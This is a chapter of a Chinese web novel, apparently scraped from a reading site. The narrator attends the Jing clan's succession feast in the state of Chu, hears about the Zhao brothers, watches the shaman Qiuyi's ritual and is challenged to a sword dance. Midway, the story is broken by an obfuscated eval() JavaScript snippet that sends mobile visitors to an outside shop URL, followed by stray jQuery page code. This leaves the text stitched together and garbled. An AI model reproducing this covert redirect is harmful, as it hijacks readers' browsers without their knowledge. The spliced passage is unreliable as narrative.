我们一进内庭,便发现里面的庭院里已经站了许多人。
男子们分为大大小小的十几个圈子站着,各自闲谈,女子们则在景氏专门安排的女眷席位上坐着,嬉笑玩闹。
景氏家丁刚通报“屈氏到”,原本还热闹沸腾的庭院瞬间安静了许多,所有人的目光都不约而同朝我们投射而来。
准确来说,是朝我投射而来。
上次见到这么他们,还是在我的婚宴上。
从那之后,我忙着挖河道、去陈国,和这些人已经很久不见了,如今看见这么多目光齐齐汇在我身上,脑子里瞬间闪过那日申禾决绝自尽的场面。
“尴尬”有时候比起其他情绪,更让人想死。
我扯出一抹笑,尽量维持着岌岌可危的风度,和其他三位哥哥一起对大家施礼。
众人还礼后,从大声讨论变成了小声议论,我跟着三位哥哥来到屈氏的席位处,屁股还没坐热,就被前来社交的贵族公子们裹挟进了小圈子里。
还好,我的小圈子里有薳东杨。
等例行寒暄结束后,我终于有了和薳东杨单独谈话的机会。
我低声道:“昭氏那五兄弟叫什么?”
薳东杨是个猴精,眼里立马漾出一抹奸笑:“怎么,他们得罪你了?”
我没直接回答:“他们似乎不在郢都生活?在什么,铜……绿山,那是什么地方?”
薳东杨也没直接回来,反而微微抬起手指,对我指到:“那是老大昭剑,老二昭戈,老三昭戟,老四昭殳,老五昭钺。”
我突然听出一些规律:“都是兵器名。”
薳东杨点点头:“都是青铜器炼成的兵器。昭氏被大王派往铜绿山驻扎,远离郢都,在汉水下游,那个地方有全楚最大的青铜矿,昭氏负责为大王冶炼兵器,不过正因为他们掌握了兵器冶炼,所以大王压制了他们的兵权,只给予他们通天的富贵……你其实不必忌惮他们,他们唯一有的,可能就是身上那些碍手碍脚的破石头。”
我心里一凛,对普罗大众来说,财富就意味着一切,可是在当权者眼里,那些象征财富的宝石不过是些破石头,只有实权才是至高无上的。
“他们确实不住在郢都,大王明面上说是炼制兵器事多繁杂,铜绿山又山高路远,不想他们舟车劳顿,实质上是不想让昭氏参与朝政,这都是大家心照不宣之事。这五兄弟在乡野之地长大,在当地横行无忌惯了,不知这郢都城里的规矩,你也不必将他们放在心里。”
我大致懂了昭氏的处境,一个被剥夺了实权,却被放在金山银山上的吉祥物氏族。
“不过,大王对昭氏很是宽厚,你们真要打起来,估计大王会让你低头认错,所以还是不要跟他们起正面冲突比较好。”
我疑惑道:“这话怎么说?”
薳东杨靠近耳边低声解释道:“因为铜绿山原本是属于中原诸侯中的随国,是先王连同若敖氏从随国手中硬抢过来的,后来随国归顺大楚,铜绿山也被昭氏看管,但是铜绿山本来就是在随国境内,你猜随国君臣怎么想?”
随国?
秋荑说过如今薳氏的夫人就是随国人,原来还有这层背景在。
我略加思忖,瞬间秒懂:“大王怕昭氏暗通随国?”
谁愿意看着原本属于自家的金矿被别人抢去,还天天在眼皮子底下挖,那是挖矿吗,那是在挖心!
如果老子是随国君臣,定然每天琢磨怎么策反昭氏。
薳东杨声音压得更低了:“这下你知道昭氏的位置了吧,没有实权,却无比尊贵,大家既无视他们,也尊重他们。”
我赶紧道谢:“多亏了东杨兄提醒,不然我真怕自己会忍不住动手。”
“没事,我会拉住你。”薳东杨笑了笑,不知为何,现在看见他笑,我就莫名放心。
就像有个人告诉你,你可以冲动,可以愤怒,甚至可以去捅天,他会在适当时候拉住你,不会让局面失控,你可以由着自己的情绪大闹一场一样,莫名心安。
虽是这么想,嘴上却回道:“不必了,从目前的经验来看,拴不住的往往是东杨兄你,善后的才是小弟我。”
薳东杨放声大笑,吸引了周围的目光。
正在此时,家丁通报“楚王到,令尹大人到”,众人立马躬身施礼,楚王身着便服,脚下生风一般走了进来。
他微一抬手,众人站好,哪怕身着便服,楚王身上也透着一种帝王的压迫感,而紧跟在他后面的是世子熊渊,还有公子玦。
看来公子玦很受重视,楚王那么多儿子,今天这样的宴会却只带了他二人前来,这不明摆着让众人怀疑,是不是世子之位还有第二个选择。
怪不得熊渊的脸色比锅底还黑。
站在楚王边上的子湘大夫也穿了一身便装,一副仙风道骨的模样,笑眯眯地看着我等。
我的目光一转向他身后,当即愣住了。
他身后竟然是子玉!
子玉穿了一身黑色的便服,安安静静立于子湘大夫身后,目光微垂,没有看向庭中的人。
为什么子湘大夫要带子玉来?
我微微偏头看薳东杨,薳东杨也恰好在看我,他皱着眉头,示意自己也在困惑同样的问题。
子玉的身世恐怕除了楚王、子湘、薳东杨父子和我,其他人都不知道,子玉如今的身份是若敖氏千夫长,一个千夫长参加这样的宴会并不合适。
我猜不透子湘要做什么,隐隐感到担忧。
就在我困惑之际,景云在景氏族人的搀扶下颤颤巍巍出来了。
他努力走好每一步,额头上浸满了汗水,看得出来他走每一步都很痛苦,但饶是如此,他也不要人抬,硬是一步步咬牙走到了楚王面前。
“微臣参加大王。”
楚王扶着他的手臂,说道:“免礼,今日是你继任家主的大日子,本王只是来讨杯酒喝的客人,你能坐便坐,不要逞强。”
景云回道:“是,微臣遵命。”
今日的景云换了一身非常繁杂的装束,整个人看起来气场十足,他原本气质温和,浑身上下都透着君子之风,可是在今天这样的装束和场合下,我仿佛看见了另外一个景云。
那个一边施着君子礼,一边将中原诸侯蒙蔽于股掌之间的景云上大夫。
算起来,他也就比薳东杨大两岁,却做了很多年的卧底,离开楚国踏上中原时也不过是个十几岁的少年人,不知道他是怎么熬过那几年如临深渊的时光的。
很快,景氏族人来报,说大巫准备好了,请众人移步去祭台。
我这才知道秋荑那个老骗子竟然也来了。
一行人便随着家丁的指引前往景氏祭台。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13493288|141937||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>老子一看见秋荑,当即傻眼,他今天穿得要多妖娆有多妖娆,不知道他上哪儿褥了那么多鸟毛,把自己打扮的五彩缤纷,活像一只偷了孔雀毛的八哥,脸上涂了几道红印,正在祭台中央跳大神。
那些无家可归的孤儿摇身一变,成了他的巫童,有些负责奏乐,有些站在东南西北四个角跟着他一起跳大神。
这老家伙是懂得资源优化利用的。
我偷摸看了一眼子玉,子玉面无表情看着秋荑,好像已经见怪不怪了,我都怀疑子玉以前也是巫童中的一员,被迫打/童/工很多年。
一想到他小时候可能也跳过这些舞,瞬间就忍不住想笑。
可是老子还是生生给憋住了,这么严肃重大的场合,b格不能掉。
秋荑跳完大神之后,景云便在他的引导下戴上了景氏冠冕,手持家主印,对着景氏训话。
薳东杨望着景云,一脸欣慰的模样,我真想问问他当初和景云说了什么,才让景云从当日那种心如死灰的状态中走出来,愿意承担起这份家主重担。
我发现这小子真的很会蛊惑人心。
也不知道这种本领是天生的,还是在薳氏那样的龙潭虎穴中炼成的。
继任庆典结束后,我们果然被安排到了堆放荆条的空地上,此时正当日月交替之际,天边还有一抹壮丽的夕阳红,晚风簌簌,吹得衣袍飞扬,荆条燃起的篝火被吹得火星四散。
当即,奏乐的、跳舞的、舞剑的,都纷纷活跃起来,众人一边饮酒,一边开怀释放。
而且我算看出来了,这种篝火晚会也是一种变相的贵族相亲会,那些贵女们纷纷解除禁锢,跑到篝火边随乐而舞,跳着跳着,就有男子加入其中,邀请其中一名女子跳舞。
熙熙攘攘间,我想找个机会和子玉说说话,但是他一直站在子湘大夫身后,而子湘大夫坐在楚王边上,氏族首领都在楚王两边坐着,仿佛一道鸿沟,让人难以靠近。
况且,我就算找到机会和他说话,又能说什么呢?
比起我,他可能更希望真正的屈云笙站在这里。
毕竟真正的屈云笙不会把事情搞砸,不会拖累屈氏,不会让楚国陷入动荡。
我也不知道自己的情绪是怎么回事,明明已经释然了,可是看见子玉后,那该死的失落感又浮了上来。
这他妈鬼氏族之间的事关我什么事,我就一平庸的俗人,来这里的目的只为寻宝,你们爱怎么斗怎么斗,爱怎么死怎么死,关老子屁事,他未免太看得起老子的良心了。
正烦闷间,忽然听见一个略微耳熟的女子声音:“屈四公子,听闻四公子剑舞卓绝,小妹仰慕已久,今日得遇良机,可否给小妹一个机会,让我为你奏乐一曲,也让小妹见识一下传闻中的一舞动四方。”
我看着眼前的昭翎,整个人都陷入了一种空茫状态,一动不动僵在原地。
不仅仅是我,就连附近刚才还在欢歌笑语的男男女女们也停了下来,纷纷看向我们。
薳东杨那厮更是笑成了一朵迎春花。
“你干什么?”我低声问道,“我不明白。”
“不明白吗?”昭翎微微一笑,随即提高了声量,“小妹昭翎仰慕屈四公子已久,想为四公子弹奏一曲,不知四公子愿不愿意为小妹舞剑助兴。”
宛如一个惊雷,瞬间炸响了整片夜空。